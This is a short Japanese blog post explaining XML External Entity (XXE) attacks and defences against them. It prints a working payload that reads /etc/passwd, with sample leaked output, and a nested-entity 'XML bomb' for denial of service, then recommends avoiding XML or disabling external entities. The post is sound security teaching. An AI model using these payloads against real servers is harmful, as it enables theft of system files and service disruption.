≪ Today I learned.
RSS購読
    公開日
    タグ
    Security
    著者
    ダーシノ

    XML External Entity(XXE)の攻撃手法と対策

    概要

    XML External Entity(XXE)とは、XMLドキュメントのEntity定義を悪用し外部のファイルを参照することでサーバー内などにある機密情報を抜き取ったり、External Entityを利用したDoS攻撃を行う攻撃手法のこと。

    攻撃方法の例

    1. サーバー内のファイルを読み込む

    以下のようなXMLファイルをアップロードした場合、file:///etc/passwdというファイルを読み込むことができる。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ELEMENT foo ANY >
      <!ENTITY name SYSTEM "file:///etc/passwd">
    ]>
    <top><name>&name;</name></top>

    このXMLデータを解析すると、以下のような/etc/passwdファイルの内容が取得できる。

    <p>
      Your name is: root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin
      (省略) nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:82:82:Linux
      User,,,:/home/www-data:/sbin/nologin
    </p>

    2. Denial of Service(Dos)攻撃

    以下のXMLを解析すると、参照をたどり展開されることで dos とう文字列が3の4乗、つまり81回繰り返されることになる。これを用いることで、DoS攻撃に利用ができる。(「XML Bomb」などとも呼ばれる)

    <?xml version="1.0" encoding="utf-8" ?>
    <!DOCTYPE root [
    <!ENTITY b0 "dos" >
    <!ENTITY b1 "&b0;&b0;&b0;">
    <!ENTITY b2 "&b1;&b1;&b1;">
    <!ENTITY b3 "&b2;&b2;&b2;">
    <!ENTITY b4 "&b3;&b3;&b3;">
    ]>
    <root>&b4;</root>

    対策

    1. XMLを利用しない

    前提としてXMLを利用しないことで、XXE脆弱性についての問題は解消される。データ参照の機能がないJSONやプレーンテキストなどを検討することが推奨される。

    2. XMLの機能を制限する

    External Entityに適切なバリデーションを行ったり、無効化(解釈しない)したり、XXE対策がされたXMLパーサーを使用する。